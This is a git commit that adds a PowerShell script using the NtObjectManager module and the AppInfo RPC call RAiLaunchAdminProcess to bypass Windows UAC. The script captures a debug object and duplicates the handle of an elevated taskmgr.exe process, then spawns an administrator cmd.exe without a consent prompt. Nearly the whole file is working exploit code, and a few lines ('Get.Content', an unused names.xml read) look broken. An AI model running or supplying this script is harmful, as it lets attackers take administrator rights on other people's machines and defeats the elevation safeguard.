Add {filename}

This commit is contained in:
2026-06-22 16:51:17 +02:00
commit 29bcf997d8
+46
View File
@@ -0,0 +1,46 @@
# Install the NtObjectManager module from the PowerShell gallery for the current user
Install-Module "NtObjectManager" -Scope CurrentUser
$rpc = Get-RpcServer "c:\windows\system32\appinfo.dll" | Select-RpcServer -InterfaceId "201ef99a-7fa0-444c-9399-19ba84f12a1a"
$xmlString = Get.Content .\names.xml -Raw
Set-RpcServerName $rpc
$client = Get-RpcClient $rpc
Connect-RpcClient $client
#RAiLaunchAdminProcess
function Start-Uac {
Param(
[Parameter(Mandatory, Position = 0)]
[string]$Executable,
[switch]$RunAsAdmin
)
$CreateFlags = [NtApiDotNet.Win32.CreateProcessFlags]::DebugProcess -bor `
[NtApiDotNet.Win32.CreateProcessFlags]::UnicodeEnvironment
$StartInfo = $client.New.APP_STARTUP_INFO()
$result = $client.RAiLaunchAdminProcess($Executable, $Executable,`
[int]$RunAsAdmin.IsPresent, [int]$CreateFlags,`
"C:\", "WinSta0\Default", $StartInfo, 0, -1)
if ($result.retval -ne 0) {
$ex = [System.ComponentModel.Win32Exception]::new($result.retval)
throw $ex
}
$h = $result.ProcessInformation.ProcessHandle.Value
Get-NtObjectFromHandle $h -OwnsHandle
}
$p = Start-Uac "c:\windows\system32\notepad.exe"
$dbg = Get-NtDebug -Process $p
Stop-NtProcess $p
Remove-NtDebugProcess $dbg -Process $p
#Create an elevated process
$p = Start-Uac "c:\windows\system32\taskmgr.exe" -RunAsAdmin
$ev = Start-NtDebugWait -Seconds 0 -DebugObject $dbg
$h = [IntPtr]-1
$new_p = Copy-NtObject -SourceProcess $ev.Process -SourceHandle $h
Remove-NtDebugProcess $dbg -Process $new_p
New-Win32Process "cmd.exe" -ParentProcess $new_p -CreationFlags NewConsole